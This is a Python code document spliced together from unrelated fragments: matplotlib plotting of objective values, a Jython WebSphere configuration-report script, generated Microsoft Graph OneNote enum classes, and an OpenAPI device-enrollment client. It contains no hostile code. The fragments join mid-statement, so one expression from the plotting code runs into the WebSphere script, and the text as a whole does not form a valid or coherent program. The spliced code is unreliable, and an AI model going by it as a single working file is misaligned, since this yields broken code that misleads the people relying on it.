s=10, # linewidth=0) ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], color=cmap(norm_array), marker='o', s=10, linewidth=0) #color=cm.ScalarMappable(norm=norm, cmap=cm.jet) else: ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]], objective_values[plt_order[1]], color=(0.85,0.85,0.85), marker='o', s=10, linewidth=0) # Plot individual policies on same axis if user wishes to highlight particular policies in this way. if pols_to_highlight is not None: for x in range(len(pols_to_highlight)): low_value = int(min(objective_values[plt_order[2]])) high_value = int(max(objective_values[plt_order[2]])) diff = int(high_value-low_value) color_value = pyplot.cm.jet_r((np.clip(objective_values[plt_order[2]][pols_to_highlight[x]], low_value,high_value)-low_value)/diff) if label_policies == 'Yes': # Create thick marker linewidth for policies being highlighted, and use larger size, # and don't have a transparent point. ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]][pols_to_highlight[x]], objective_values[plt_order[1]][pols_to_highlight[x]], color=cmap(norm_array[pols_to_highlight[x]]), marker='o', s=20, linewidth=1.0, alpha=alpha[x+1], edgecolor='k') else: # No points being highlighted. Create no marker linewidth, size=10, and no transparency. ax_arr[sp_slot_tuple].scatter(objective_values[plt_order[0]][pols_to_highlight[x]], objective_values[plt_order[1]][pols_to_highlight[x]], color=cmap(norm_array[pols_to_highlight[x]]), marker='o', s=10, linewidth=0, alpha = 1.0) xy_loc = (objective_values[plt_order[0]][pols_to_highlight[x]], objective_values[plt_order[ 1]][pols_to_highlight[x]]) xy_text_loc = pol_name_locs[sp_slot_tuple[0]][sp_slot_tuple[1]][x] if label_policies == 'Yes': ax_arr[sp_slot_tuple].annotate(pol_names[x], fontsize=6, xy=xy_loc, xycoords='data', xytext=xy_text_loc, bbox=dict(boxstyle="round", fc='w'), arrowprops=dict(arrowstyle="->",connectionstyle="arc,angleA=0,angleB=90," "rad=10")) #, fc="0.8" # Plot ideal point if user wants. if plot_ideal_point == 'Yes': if plot_dict['ideal_point']['coordinates'] == 'best': # Plot point that corresponds to best objective values across objectives plot_dict['ideal_point']['coordinates'] = [] # X-axis coordinate for best point if plot_dict['objective_type'][0] in ['max', 'Max']: plot_dict['ideal_point']['coordinates'].append(max(objective_values[plt_order[0]])) else: plot_dict['ideal_point']['coordinates'].append(min(objective_values[plt_order[0]])) # Y-axis coordinate for best point if plot_dict['objective_type'][1] in ['max', 'Max']: plot_dict['ideal_point']['coordinates'].append(max(objective_values[plt_order[1]])) else: plot_dict['ideal_point']['coordinates'].append(min(objective_values[plt_order[1]])) ideal_point_loc = plot_dict['ideal_point']['coordinates'] else: # Just plot axis limits in absence of other information. if type(plot_dict['ideal_point']['coordinates']) not in [list] and ax_lim is not None: plot_dict['ideal_point']['coordinates'] = [ax_lim[plt_order[0]][1], ax_lim[plt_order[1]][1]] ideal_point_loc = plot_dict['ideal_point']['coordinates'] color_star = 'No' # Uses the color scheme for the start (i.e., makes it blue if blue represents the best value for # the objective corresponding to color. if color_star == 'Yes': ax_arr[sp_slot_tuple].scatter(ideal_point_loc[0], ideal_point_loc[1], marker=ideal_point_marker, c=[cmap(max(norm_array))], s=ideal_point_size, linewidth=0) else: ax_arr[sp_slot_tuple].scatter(ideal_point_loc[0], ideal_point_loc[1], marker=ideal_point_marker, c='k', s=ideal_point_size, linewidth=0) #cmap(max(norm_array)) # Axis Labels try: # Deal with formatting of x axis labels x_ax_lab = '' x_ax_lab_components = plot_dict['x_label'].split(' \\n ') if len(x_ax_lab_components) > 1: for k in range(len(x_ax_lab_components)): if k < len(x_ax_lab_components) - 1: x_ax_lab += x_ax_lab_components[k] + '\n' else: x_ax_lab += x_ax_lab_components[k] else: x_ax_lab = plot_dict['x_label'] # Adjust so powers ("^") show correctly in x-axis label try: power_index_x = x_ax_lab.index('^') follow_val_x = x_ax_lab[power_index_x+1] except ValueError: power_index_x = None follow_val_x = None if power_index_x is not None: x_ax_lab = x_ax_lab.replace('^%s' %
+ 1, name) # Close out the table xml = xml + indent(level) + "</serverconfig>" + lineSeparator return xml # Function - Build Server Configuration table def buildServerConfig(scopes): # Build the title html = "<h4><a id=\"server_config\"></a>Server Configuration</h4>" + lineSeparator html = html + "<table>" + lineSeparator # Iterate through the Scopes list and generate server configuration table entries for scope in scopes: type = scope.split(":")[0] name = scope.split(":")[1] id = name if type == "app_server": name = name.split(",")[0] node = scope.split(":")[2] title = "Node: " + node + " | Application Server: " + name id = node + "_" + name name = name + ":" + node elif type == "cluster_member": title = "Cluster Member: " + name elif type == "web_server": title = "Web Server: " + name else: continue html = html + " <tr><th class=\"scope\" colspan=2><a id=\"" + id + "_config\">" + title + "</a></th></tr>" + lineSeparator # List JVM Properties, Custom Properties, Thread Pools, Session Management and # Trace Settings for Application Server if type != "web_server": serverid, jvmid, jvm_html = getJVMProperties(name) html = html + jvm_html #html = html + getProcessDefEnvEntries(serverid) html = html + getCustomProperties(jvmid) html = html + getJVMThreadPools(serverid) html = html + getSessionManagement(serverid) html = html + getTraceSettings(serverid) # List ports for this server html = html + getPorts(name) html = html + " <tr><td class=\"pad\" colspan=2>&nbsp;</td></tr>" + lineSeparator # Close out the table html = html + "</table>" + lineSeparator return html # Function - Get Resource Environment Entries and filter them def getREEs(): # Init REEs list rees = [] rees_props = [] # Retrieve REEs config ids temp_rees = AdminConfig.list('ResourceEnvironmentProvider').splitlines() # Iterate through config ids and filter out WCM entries and entries without # custom properties for ree in temp_rees: if ree.find("WCM ") > -1: continue entries = AdminConfig.list('ResourceEnvEntry', ree).splitlines() if entries: for entry in entries: props = AdminConfig.list('J2EEResourceProperty', entry).splitlines() if props: rees.append("Entry: " + entry.replace('\"', '')) rees_props.append(props) else: props = AdminConfig.list('J2EEResourceProperty', ree).splitlines() if props: rees.append("Provider: " + ree.replace('\"', '')) rees_props.append(props) # Return list of filtered REEs return rees, rees_props # Function - Find Configuration Ids for a Specific Configuration Type def findConfigIds(type, target, configids): # Init variables temp_configids = [] id = None configtype = None # Iterate through the config ids looking for config ids at a given scope type for configid in configids: # Only process specific configuration types if not configtype: source = configid.split("#")[1].split("_")[0] if source == "ResourceEnvironmentProvider": configtype = "rees" elif source == "ResourceEnvEntry": configtype = "rees" elif source == "URL": configtype = "urls" elif source == "DataSource": configtype = "dss" elif source == "Library": configtype = "libraries" elif source == "VariableSubstitutionEntry": configtype = "variables" elif source == "MQQueueConnectionFactory" or source == "MQConnectionFactory": configtype = "mqcf" elif source == "J2CActivationSpec": configtype = "actspec" elif source == "J2CConnectionFactory": configtype = "j2ccf" elif source == "MQQueue": configtype = "mqqueue" elif source == "J2CAdminObject": configtype = "j2cqueue" else: print "Unrecognized config type in findConfigIds: " + source break # Check if current configid is for the given scope type # - add config id to list of config ids to return # - build the id for the configuration type if type == "cell": if configid.find("cells/" + target + "|") > 0: id = "cell_" + configtype temp_configids.append(configid) elif type == "cluster": if configid.find("/clusters/" + target + "|") > 0: id = "cluster_" + target + "_" + configtype temp_configids.append(configid) elif type == "cluster_member": cluster_member = target.split(":")[0] cluster_name = target.split(":")[1] if configid.find("/servers/" + cluster_member + "|") > 0: id = "cluster_" + cluster_name + "_member_" + cluster_member + "_" + configtype temp_configids.append(configid) elif type == "node": if configid.find("/nodes/" + target + "|") > 0: id = "node_" + target + "_" + configtype temp_configids.append(configid) elif type == "app_server": server = target.split(":")[0] node = target.split(":")[1] if configid.find("/nodes/" + node + "/servers/" + server + "|") > 0: id = "node_" + node + "_server_" + server + "_" + configtype temp_configids.append(configid) # For Data Source config ids, filter out Derby JDBC Providers if temp_configids and configtype == "dss": ids = [] for configid in temp_configids: providerType = AdminConfig.showAttribute(configid, 'providerType') if not providerType or providerType.find("Derby") > -1: continue else: ids.append(configid) temp_configids = ids # Handle condition where no config ids are found if len(temp_configids) == 0: id = None # Return the id for the scope type and list of config ids return id, temp_configids # Function - Get the list of Data Sources def getDataSources(): # Init the list dsIds = [] # Get the list of Data Sources for the cell dss = AdminConfig.list('DataSource').splitlines() # Iterate through the Data Source list and filter # Do not return EJB Timer and OTiS Data Sources for ds in dss: if not ds.startswith("DefaultEJBTimerDataSource(") and not ds.startswith("OTiSDataSource("): dsIds.append(ds) # Return the filtered list of Data Sources return dsIds # Function - Get a property for a Data Source def getDataSourceProperty(dsProps, property): # Init value in case not found value = "&nbsp;" # Iterate through properties list and return value for the property if the property # is found for dsPropId in dsProps: if dsPropId.startswith(property + "("): value = AdminConfig.showAttribute(dsPropId, "value") break # Return the value return value def clean(value): value = value.replace("&", "&amp;") value = value.replace("<", "&lt;") value = value.replace(">", "&gt;") value = value.replace("'", "&apos;") value = value.replace('"', "&quot;") return ''.join([c for c in value if ord(c) > 31 and ord(c) < 127]) #return value # Function - Build Data Sources XML def buildDataSourceXML(level, dsIds): xml = indent(level) + "<datasources>" + lineSeparator # Iterate through each Data Source for this scope and build table entries for dsId in dsIds: providerType = AdminConfig.showAttribute(dsId, 'providerType') if not providerType or providerType.find("Derby") > -1: continue xml = xml + indent(level + 1) + "<datasource name=\"" + dsId.split("(")[0].replace('\"', '') + "\">" + lineSeparator # List the Data Source properties for property,desc in dbDataSourceProperties.items(): value = AdminConfig.showAttribute(dsId, property) if value: xml = xml + indent(level + 2) + "<property description=\"" + desc + "\">" + clean(value) + "</property>" + lineSeparator # List the Data Source Resource properties dsProps = AdminConfig.list("J2EEResourceProperty", dsId).splitlines() for property,desc in dbResourceProperties.items(): value = getDataSourceProperty(dsProps, property) if value: xml = xml + indent(level + 2) + "<property description=\"" + desc + "\">" + clean(value) + "</property>" + lineSeparator # List the Connection Pool properties xml = xml + indent(level + 2) + "<connpool>" + lineSeparator connPoolId = AdminConfig.list('ConnectionPool', dsId) for property,desc in connPoolProperties.items(): value = AdminConfig.showAttribute(connPoolId, property) if value: xml = xml + indent(level + 3) + "<property description=\"" + desc + "\">" + value + "</property>" + lineSeparator xml = xml + indent(level + 2) + "</connpool>" + lineSeparator xml = xml + indent(level + 1) + "</datasource>" + lineSeparator # Close out the table xml = xml + indent(level) + "</datasources>" + lineSeparator return xml # Function - Build Data Sources Section def buildDataSourceSection(scopes, dss): # Generate the title and table tags html = "<h4><a id=\"datasources\"></a>Data Sources</h4>" + lineSeparator html = html + "<table>" + lineSeparator # Iterate through the scope and build the associated table entries if # Data Sources are ound for the given scope for scope in scopes: type = scope.split(":")[0] name = scope.split(":")[1] if type == "cell": title = "Cell: " + name elif type == "cluster": title = "Cluster: " + name cluster_name = name elif type == "cluster_member": title = "Cluster: " + cluster_name + " | Cluster Member: " + name name = name + ":" + cluster_name elif type == "node": node = name title = "Node: " + name elif type == "app_server": title = "Node: " + node + " | Application Server: " + name.split(",")[0] name = name.split(",")[0] + ":" + node else: continue # Find Data Sources for this scope
PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum440(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CONTENT = "content" CONTENT_DESC = "content desc" CONTENT_URL = "contentUrl" CONTENT_URL_DESC = "contentUrl desc" CREATED_BY_APP_ID = "createdByAppId" CREATED_BY_APP_ID_DESC = "createdByAppId desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" LEVEL = "level" LEVEL_DESC = "level desc" LINKS = "links" LINKS_DESC = "links desc" ORDER = "order" ORDER_DESC = "order desc" TITLE = "title" TITLE_DESC = "title desc" USER_TAGS = "userTags" USER_TAGS_DESC = "userTags desc" class Enum441(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CONTENT = "content" CONTENT_URL = "contentUrl" CREATED_BY_APP_ID = "createdByAppId" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LEVEL = "level" LINKS = "links" ORDER = "order" TITLE = "title" USER_TAGS = "userTags" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum442(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum443(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CONTENT = "content" CONTENT_URL = "contentUrl" CREATED_BY_APP_ID = "createdByAppId" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LEVEL = "level" LINKS = "links" ORDER = "order" TITLE = "title" USER_TAGS = "userTags" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum444(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum445(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" IS_DEFAULT = "isDefault" IS_SHARED = "isShared" LINKS = "links" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" USER_ROLE = "userRole" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum446(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum447(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CREATED_BY = "createdBy" CREATED_BY_DESC = "createdBy desc" DISPLAY_NAME = "displayName" DISPLAY_NAME_DESC = "displayName desc" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_BY_DESC = "lastModifiedBy desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTION_GROUPS_URL_DESC = "sectionGroupsUrl desc" SECTIONS_URL = "sectionsUrl" SECTIONS_URL_DESC = "sectionsUrl desc" class Enum448(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum449(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum45(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum450(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum451(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum452(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" IS_DEFAULT = "isDefault" IS_SHARED = "isShared" LINKS = "links" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" USER_ROLE = "userRole" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum453(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum454(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum455(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum456(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CREATED_BY = "createdBy" CREATED_BY_DESC = "createdBy desc" DISPLAY_NAME = "displayName" DISPLAY_NAME_DESC = "displayName desc" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_BY_DESC = "lastModifiedBy desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTION_GROUPS_URL_DESC = "sectionGroupsUrl desc" SECTIONS_URL = "sectionsUrl" SECTIONS_URL_DESC = "sectionsUrl desc" class Enum457(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum458(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum459(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" SECTION_GROUPS_URL = "sectionGroupsUrl" SECTIONS_URL = "sectionsUrl" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum46(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CONTENT = "content" CONTENT_DESC = "content desc" CONTENT_URL = "contentUrl" CONTENT_URL_DESC = "contentUrl desc" CREATED_BY_APP_ID = "createdByAppId" CREATED_BY_APP_ID_DESC = "createdByAppId desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" LEVEL = "level" LEVEL_DESC = "level desc" LINKS = "links" LINKS_DESC = "links desc" ORDER = "order" ORDER_DESC = "order desc" TITLE = "title" TITLE_DESC = "title desc" USER_TAGS = "userTags" USER_TAGS_DESC = "userTags desc" class Enum460(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" SECTION_GROUPS = "sectionGroups" SECTIONS = "sections" class Enum461(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CREATED_BY = "createdBy" CREATED_BY_DESC = "createdBy desc" DISPLAY_NAME = "displayName" DISPLAY_NAME_DESC = "displayName desc" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_BY_DESC = "lastModifiedBy desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" IS_DEFAULT = "isDefault" IS_DEFAULT_DESC = "isDefault desc" LINKS = "links" LINKS_DESC = "links desc" PAGES_URL = "pagesUrl" PAGES_URL_DESC = "pagesUrl desc" class Enum462(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" IS_DEFAULT = "isDefault" LINKS = "links" PAGES_URL = "pagesUrl" PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum463(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum464(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CREATED_BY = "createdBy" DISPLAY_NAME = "displayName" LAST_MODIFIED_BY = "lastModifiedBy" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" IS_DEFAULT = "isDefault" LINKS = "links" PAGES_URL = "pagesUrl" PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum465(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PAGES = "pages" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION_GROUP = "parentSectionGroup" class Enum466(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" ID_DESC = "id desc" SELF = "self" SELF_DESC = "self desc" CREATED_DATE_TIME = "createdDateTime" CREATED_DATE_TIME_DESC = "createdDateTime desc" CONTENT = "content" CONTENT_DESC = "content desc" CONTENT_URL = "contentUrl" CONTENT_URL_DESC = "contentUrl desc" CREATED_BY_APP_ID = "createdByAppId" CREATED_BY_APP_ID_DESC = "createdByAppId desc" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LAST_MODIFIED_DATE_TIME_DESC = "lastModifiedDateTime desc" LEVEL = "level" LEVEL_DESC = "level desc" LINKS = "links" LINKS_DESC = "links desc" ORDER = "order" ORDER_DESC = "order desc" TITLE = "title" TITLE_DESC = "title desc" USER_TAGS = "userTags" USER_TAGS_DESC = "userTags desc" class Enum467(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CONTENT = "content" CONTENT_URL = "contentUrl" CREATED_BY_APP_ID = "createdByAppId" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LEVEL = "level" LINKS = "links" ORDER = "order" TITLE = "title" USER_TAGS = "userTags" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum468(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ASTERISK = "*" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum469(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CONTENT = "content" CONTENT_URL = "contentUrl" CREATED_BY_APP_ID = "createdByAppId" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LEVEL = "level" LINKS = "links" ORDER = "order" TITLE = "title" USER_TAGS = "userTags" PARENT_NOTEBOOK = "parentNotebook" PARENT_SECTION = "parentSection" class Enum47(with_metaclass(_CaseInsensitiveEnumMeta, str, Enum)): ID = "id" SELF = "self" CREATED_DATE_TIME = "createdDateTime" CONTENT = "content" CONTENT_URL = "contentUrl" CREATED_BY_APP_ID = "createdByAppId" LAST_MODIFIED_DATE_TIME = "lastModifiedDateTime" LEVEL = "level" LINKS = "links" ORDER = "order" TITLE = "title" USER_TAGS = "userTags" PARENT_NOTEBOOK
enrollment history objects # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_device_enrollments_id_history_get_with_http_info(id, async_req=True) >>> result = thread.get() :param id: Device Enrollment Instance identifier (required) :type id: str :param page: :type page: int :param page_size: :type page_size: int :param sort: Sorting criteria in the format: property,asc/desc. Default sort order is descending. Multiple sort criteria are supported and must be entered on separate lines in Swagger UI. In the URI the 'sort' query param is duplicated for each sort criterion, e.g., ...&sort=name%2Casc&sort=date%2Cdesc :type sort: list[str] :param filter: Query in the RSQL format, allowing to filter history notes collection. Default search is empty query - returning all results for the requested page. Fields allowed in the query: username, date, note, details. This param can be combined with paging and sorting. Example: search=username!=admin and details==*disabled* and date<2019-12-15 :type filter: str :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _return_http_data_only: response data without head status code and headers :type _return_http_data_only: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :param _request_auth: set to override the auth_settings for an a single request; this effectively ignores the authentication in the spec for a single request. :type _request_auth: dict, optional :return: Returns the result object. If the method is called asynchronously, returns the request thread. :rtype: tuple(HistorySearchResults, status_code(int), headers(HTTPHeaderDict)) """ local_var_params = locals() all_params = [ 'id', 'page', 'page_size', 'sort', 'filter' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout', '_request_auth' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v1_device_enrollments_id_history_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `v1_device_enrollments_id_history_get`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] if 'page' in local_var_params and local_var_params['page'] is not None: # noqa: E501 query_params.append(('page', local_var_params['page'])) # noqa: E501 if 'page_size' in local_var_params and local_var_params['page_size'] is not None: # noqa: E501 query_params.append(('page-size', local_var_params['page_size'])) # noqa: E501 if 'sort' in local_var_params and local_var_params['sort'] is not None: # noqa: E501 query_params.append(('sort', local_var_params['sort'])) # noqa: E501 collection_formats['sort'] = 'multi' # noqa: E501 if 'filter' in local_var_params and local_var_params['filter'] is not None: # noqa: E501 query_params.append(('filter', local_var_params['filter'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 response_types_map = { 200: "HistorySearchResults", } return self.api_client.call_api( '/v1/device-enrollments/{id}/history', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_types_map=response_types_map, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats, _request_auth=local_var_params.get('_request_auth')) def v1_device_enrollments_id_history_post(self, id, object_history_note, **kwargs): # noqa: E501 """Add Device Enrollment history object notes # noqa: E501 Adds device enrollment history object notes # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v1_device_enrollments_id_history_post(id, object_history_note, async_req=True) >>> result = thread.get() :param id: Device Enrollment Instance identifier (required) :type id: str :param object_history_note: History notes to create (required) :type object_history_note: ObjectHistoryNote :param async_req: Whether to execute the request asynchronously. :type async_req: bool, optional :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :type _preload_content: bool, optional :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Returns the result object. If the method is called 